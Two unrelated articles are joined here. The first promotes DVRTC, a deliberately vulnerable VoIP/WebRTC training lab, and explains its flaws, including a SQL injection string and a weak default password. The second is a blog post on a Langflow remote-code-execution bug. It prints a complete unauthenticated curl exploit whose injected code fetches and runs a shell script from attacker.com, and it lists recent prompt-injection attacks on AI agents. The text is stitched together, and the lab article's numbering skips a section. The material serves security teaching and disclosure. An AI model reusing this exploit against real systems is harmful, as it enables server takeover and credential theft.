Each vulnerability in DVRTC is engineered to replicate real-world attack vectors. For instance, the RTP bleed vulnerability exploits the lack of session isolation in rtpengine’s default configuration, resulting in observable cross-session media leakage. This is not a theoretical risk but a physical consequence of packet mishandling, demonstrating the tangible impact of misconfigurations.

The Significance of DVRTC: Practical Insights and Risk Mitigation

DVRTC serves as both a training tool and a risk mitigation framework. By exposing learners to vulnerabilities such as SIP enumeration, TURN abuse, and RTP injection, it equips them to identify and remediate these issues in real-world systems. For example, a TURN server with a permissive relay policy can be exploited to bypass firewalls and launch DDoS attacks. DVRTC enables safe exploration of such scenarios, elucidating the causal chain from misconfiguration to exploitation.

The live instance at pbx1.dvrtc.net further democratizes access to VoIP/WebRTC security training. By eliminating the need for local environment setup, DVRTC lowers the barrier to entry, making this critical knowledge accessible to a broader audience. This is particularly vital as VoIP and WebRTC become increasingly embedded in global digital infrastructure.

Conclusion: A Critical and Timely Resource

DVRTC is more than a lab—it is a strategic response to the escalating risks posed by the proliferation of VoIP and WebRTC technologies. Without practical training resources, systems remain vulnerable to sophisticated attacks. DVRTC bridges this gap by providing a hands-on environment where learners can master the intricacies of VoIP/WebRTC security, fostering a proactive defensive mindset.

By understanding the mechanisms of vulnerability formation and exploitation, cybersecurity professionals can more effectively protect the systems society relies on. DVRTC is the missing link in this ecosystem, and its creation is both timely and essential.

Technical Breakdown of DVRTC Scenarios: A Deep Dive into VoIP/WebRTC Vulnerabilities

The DVRTC lab introduces six meticulously designed scenarios that replicate real-world attack vectors in VoIP and WebRTC systems. Each scenario exposes a specific vulnerability, providing learners with a hands-on understanding of how these flaws manifest, propagate, and are exploited. Below, we dissect the technical mechanics of each scenario, elucidating the causal relationships between misconfigurations and their exploitable consequences.

1. SIP Enumeration in Kamailio: Exploiting Differential Response Codes

In the pbx1 scenario, the Kamailio SIP proxy is configured to return distinguishable responses based on the validity of extensions. This is achieved by emitting a 200 OK response for valid extensions and a 404 Not Found for invalid ones. The root cause lies in Kamailio’s routing logic, which lacks input validation, enabling an attacker to systematically probe the PBX. This misconfiguration facilitates extension enumeration, revealing active users, and exposes the PBX’s internal structure—a critical precursor for targeted attacks.

2. SQL Injection via User-Agent Headers: Unsanitized Logging as an Attack Vector

Kamailio logs User-Agent headers directly to a MySQL database without sanitization. This oversight allows an attacker to inject malicious SQL queries by crafting a User-Agent string containing SQL commands (e.g., ‘ OR ‘1’=’1). The causal mechanism is straightforward: the unsanitized input is processed by the MySQL interpreter, executing arbitrary SQL. The direct consequence is unauthorized data access or manipulation, as the database becomes a direct attack surface. This vulnerability underscores the risks of trusting unvalidated inputs in SIP signaling.

3. Digest Authentication Leak: Predictable Credential Exposure in Kamailio

A misconfigured handler in Kamailio triggers a digest authentication leak for extension 2000. The handler fails to obfuscate the digest challenge, exposing the username and realm in a predictable format. This flaw allows an attacker to intercept and crack the credentials using tools like John the Ripper. The vulnerability stems from two critical issues: the lack of encryption in transit and the predictable structure of the digest response, which simplifies brute-forcing.

Edge Case Analysis: RTP Bleed in rtpengine

The rtpengine media server in DVRTC operates with a default configuration that fails to isolate RTP streams, leading to RTP bleed. This misconfiguration results in media packets from one session contaminating another due to packet mishandling. Specifically, rtpengine’s lack of session isolation causes packets to be routed incorrectly, enabling cross-session media leakage. For instance, a call between extensions 1000 and 1001 may inadvertently leak audio to extension 1002 due to overlapping RTP ports.

Edge Case Analysis: RTP Injection in rtpengine

The same default configuration in rtpengine allows RTP injection due to the absence of stream validation. An attacker can inject malicious RTP packets into an active call, which are misinterpreted by the recipient’s endpoint, leading to call disruption or hijacking. This vulnerability highlights the risks of trusting unauthenticated media streams in VoIP systems.

5. TURN Abuse in coturn: Amplifying Attacks via Misconfigured Relay

The coturn server in DVRTC employs hardcoded credentials and a permissive relay policy. The hardcoded credentials eliminate authentication barriers, while the permissive policy allows any client to route traffic through the relay. This misconfiguration enables traffic amplification, as an attacker can exploit the TURN server to bypass firewalls and launch DDoS attacks. The vulnerability is compounded by the static credentials and the absence of access controls, facilitating abuse at scale.

6. Credential Cracking in Asterisk: Exploiting Weak Passwords

Asterisk’s extension 1000 uses the password “1500”, a weak credential susceptible to brute-force attacks. The password’s low entropy allows an attacker to systematically guess it using tools like Hydra. The causal chain is clear: weak password → rapid credential cracking → unauthorized access. This scenario underscores the risks of default or easily guessable credentials in PBX systems.

Practical Insights: From Exploitation to Mitigation

DVRTC’s scenarios systematically expose the causal relationships between misconfigurations and exploitable vulnerabilities, fostering a proactive defensive mindset. For example, RTP bleed is mitigated by configuring rtpengine to isolate sessions, while TURN abuse is addressed by implementing access controls and rotating credentials. By replicating these vulnerabilities in a controlled environment, DVRTC bridges the theory-practice gap, enabling learners to systematically identify and remediate issues.

Significance: Addressing a Critical Educational Void

As VoIP and WebRTC technologies become ubiquitous, the demand for skilled professionals capable of securing these systems has reached an all-time high. DVRTC’s live instance at pbx1.dvrtc.net democratizes access to hands-on training, eliminating local setup barriers. By filling the critical gap in cybersecurity education, DVRTC equips learners with the practical skills necessary to protect global digital infrastructure from increasingly sophisticated attacks.

Implementation and Community Impact

The DVRTC lab represents a paradigm shift in cybersecurity education, addressing the critical gap in hands-on VoIP/WebRTC security training. By providing a standardized, intentionally vulnerable environment, DVRTC catalyzes systemic improvements in how practitioners learn, collaborate, and defend against real-world threats. Its design and deployment mechanisms ensure tangible, measurable outcomes across educational, community, and operational dimensions.

Integration into Security Training Programs

DVRTC’s modular architecture facilitates seamless adoption across academic, corporate, and self-directed learning contexts. This integration is driven by three core mechanisms:

  • Scenario-Based Learning: Each exercise directly maps to exploitable misconfigurations in production VoIP/WebRTC systems. For example, Kamailio’s SQL injection vulnerability stems from unvalidated User-Agent headers logged to MySQL, enabling attackers to execute arbitrary queries. This flaw is not theoretical but a direct consequence of unfiltered data ingestion into the database layer.
  • Progressive Complexity: Exercises escalate in difficulty, mirroring the expanding attack surface of scaled deployments. For instance, coturn’s permissive relay policy allows unauthenticated traffic amplification, a mechanical process where unchecked TURN requests flood target networks. This progression ensures learners internalize both foundational and advanced threat vectors.
  • Live Instance Accessibility: The pbx1.dvrtc.net instance removes technical barriers to entry, lowering the activation energy required for engagement. Learners can immediately observe vulnerabilities like RTP bleed—caused by rtpengine’s failure to isolate media streams—without local setup, accelerating practical comprehension.

Fostering a Practitioner Community

DVRTC’s open-source framework and live deployment create a self-sustaining ecosystem for collaboration and knowledge exchange:

  • Shared Vulnerability Taxonomy: Standardized exercises (e.g., SIP digest leaks) establish a common lexicon for practitioners, reducing cognitive overhead in translating theory into practice. This shared framework accelerates the development of actionable defenses.
  • Crowdsourced Remediation: The community actively contributes patches and scenarios, such as stream validation fixes for rtpengine’s RTP injection vulnerability. These contributions harden both the lab and real-world systems, creating a feedback loop of continuous improvement.
  • Real-World Relevance: Exercises target active attack vectors, such as coturn’s hardcoded credentials, which enable unauthorized traffic routing via static secrets. By replicating these mechanical exploit pathways, DVRTC ensures learners address current, high-impact threats.

Long-Term Benefits of Standardization

DVRTC’s role as a standardized lab environment yields systemic resilience through three key mechanisms:

  • Exposing Causal Chains: Learners dissect the root causes of vulnerabilities, such as Asterisk’s default password (1500), which fails due to low entropy and predictable character distribution. This causal understanding shifts focus from symptom mitigation to systemic prevention.
  • Proactive Defense Mindset: Analyzing vulnerabilities like RTP bleed—caused by rtpengine’s lack of session isolation—promotes architectural hardening over reactive patching. This mindset disrupts the cycle of misconfiguration-driven breaches.
  • Scalable Skill Development: As VoIP/WebRTC adoption grows, DVRTC provides a reproducible training baseline. Its live instance serves as a stress-test environment, enabling safe experimentation with mitigations such as credential rotation in coturn or input sanitization in Kamailio.

Edge-Case Analysis: Where DVRTC Pushes Boundaries

Consider Kamailio’s digest authentication leak, a vulnerability rooted in the predictable format of unencrypted credentials. This flaw enables credential cracking via tools like John the Ripper, as the handler exposes structured, interceptable data. DVRTC forces learners to engage with such edge cases, fostering a deeper understanding of protocol-level weaknesses than traditional training permits. By confronting these mechanical exploit pathways, practitioners develop resilience-engineering capabilities grounded in evidence-driven practice.

In conclusion, DVRTC’s implementation transcends conventional training by embedding learners in the physical and mechanical processes underlying VoIP/WebRTC vulnerabilities. Its community impact and long-term benefits are rooted in this tangible, evidence-driven approach, positioning it as a pioneering solution in cybersecurity education.

Langflow Got Hit in 20 Hours — Here’s the Pattern That Keeps Repeating

Last week, a critical RCE dropped for Langflow (CVE-2026-33017). By the time most developers read the advisory, active exploitation had already been running for 20 hours.

No public PoC existed. Attackers read the advisory description, built working exploits from scratch, and started scanning the internet for vulnerable instances — all before most teams could schedule a patching window.

This is becoming the normal timeline for AI infrastructure CVEs.

What happened

The bug lives in /api/v1/build_public_tmp/{flow_id}/flow. This endpoint is intentionally unauthenticated — it’s designed to serve public flows without login. But it also accepts an optional data parameter that lets callers supply their own flow definition.

That flow definition can contain arbitrary Python code in the node definitions. The server passes it to exec() with zero sandboxing.

One HTTP POST request. No authentication. Full server-level code execution.

curl -X POST https://your-langflow-instance.com/api/v1/build_public_tmp/{flow_id}/flow 
  -H "Content-Type: application/json" 
  -d '{"data": {"nodes": [{"data": {"node": {"template": {"code": {"value": "import os; os.system("curl attacker.com/shell.sh | bash")"}}}}}]}}'

Once in, attackers extracted environment variables, API keys, database credentials, and set up reverse shells. Sysdig confirmed supply chain compromise of downstream pipelines.

This is Langflow’s second critical RCE with the same root cause

CVE-2025-3248 (CVSS 9.8) hit the same exec() call via a different endpoint. That bug is already on CISA’s Known Exploited Vulnerabilities list.

Same root cause. New endpoint. Different CVE.

The researcher who found CVE-2026-33017 described the fix clearly: “The real fix is removing the data parameter from the public endpoint entirely, so public flows can only execute their stored (server-side) flow data and never accept attacker-supplied definitions.”

The patch (dev version 1.9.0.dev8) does exactly that.

The pattern showing up in March 2026 alone

This isn’t isolated. Look at what’s happened to AI infrastructure this month:

  • LiteLLM supply chain — malicious packages with exec(b64decode) obfuscation
  • ShadowPrompt — zero-click prompt injection in Claude’s Chrome extension via XSS
  • OpenClaw CVE-2026-25253 — one-click RCE, 42,900 instances exposed
  • Perplexity Comet — file theft via malicious calendar invite (zero user interaction)
  • Zenity’s RSAC demos — live exploitation of Cursor, Salesforce Agentforce, ChatGPT, Copilot

At RSAC this week, Zenity’s CTO Michael Bargury had a phrase I keep thinking about:

“AI is just gullible. We’re trying to shift the mindset from ‘prompt injection’ — because it’s a very technical term — and convince people that this is actually just persuasion. I’m just persuading the AI agent that it should do something else.”

That framing matters. Trained guardrails can be “persuaded.” Runtime enforcement can’t.

Why 20 hours is the new attack window

Two things changed:

  1. AI infrastructure became production infrastructure. Langflow isn’t a toy — it’s running enterprise AI pipelines, handling customer data, connected to databases and downstream services. Attackers know this.

  2. The advisory is the PoC. A well-written vulnerability advisory tells you what the vulnerable parameter is, what the vulnerable code path does, and where the patch lives. That’s enough to build a working exploit in a few hours if you know what you’re doing.

The old assumption — “we have a few days between disclosure and exploitation” — doesn’t hold for AI infrastructure.

What actually stops this

Model-level guardrails don’t prevent network-level exploits. Prompt injection filtering doesn’t catch exec() injection in a Python process.

What works: monitoring what your AI pipeline actually does at runtime.

  • What environment variables is it reading?
  • What external URLs is it calling?
  • What processes is it spawning?
  • What files is it writing?

If you don’t have visibility into these at runtime, you’re not slow on security. You’re blind.

ClawMoat is an open-source runtime security layer for AI agents — supply chain scanning, secret detection, network egress logging, and behavior monitoring. github.com/darfaz/clawmoat

Affected versions: Langflow ≤ 1.8.1

Patch: 1.9.0.dev8 (development), stable release pending

CVE: CVE-2026-33017 (CVSS 9.3)